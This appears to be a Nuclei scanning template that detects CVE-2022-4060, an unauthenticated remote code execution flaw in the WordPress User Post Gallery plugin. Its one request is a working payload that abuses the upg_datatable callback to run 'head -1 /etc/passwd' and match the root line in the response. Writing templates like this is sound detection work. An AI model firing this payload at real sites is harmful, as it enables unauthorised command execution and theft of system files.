id: CVE-2022-4060 info: name: WordPress User Post Gallery <=2.19 - Remote Code Execution author: theamanrawat severity: critical description: | WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. remediation: | Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e - https://wordpress.org/plugins/wp-upg/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4060 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4060 cwe-id: CWE-94 epss-score: 0.01764 epss-percentile: 0.86558 cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: odude product: user_post_gallery framework: wordpress tags: unauth,wpscan,cve2022,rce,wordpress,wp-plugin,wp,cve,wp-upg http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL" matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: word part: body words: - "recordsFiltered" - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100cbf8e3b7294706a7db504740bd7b9530860bde1bdf033519d1e435bf13a1545e022100cd76a1764a2a58763149830517fc91383e9f6ef3874f04c287c0068d76b5157c:922c64590222798bb761d5b6d8e72950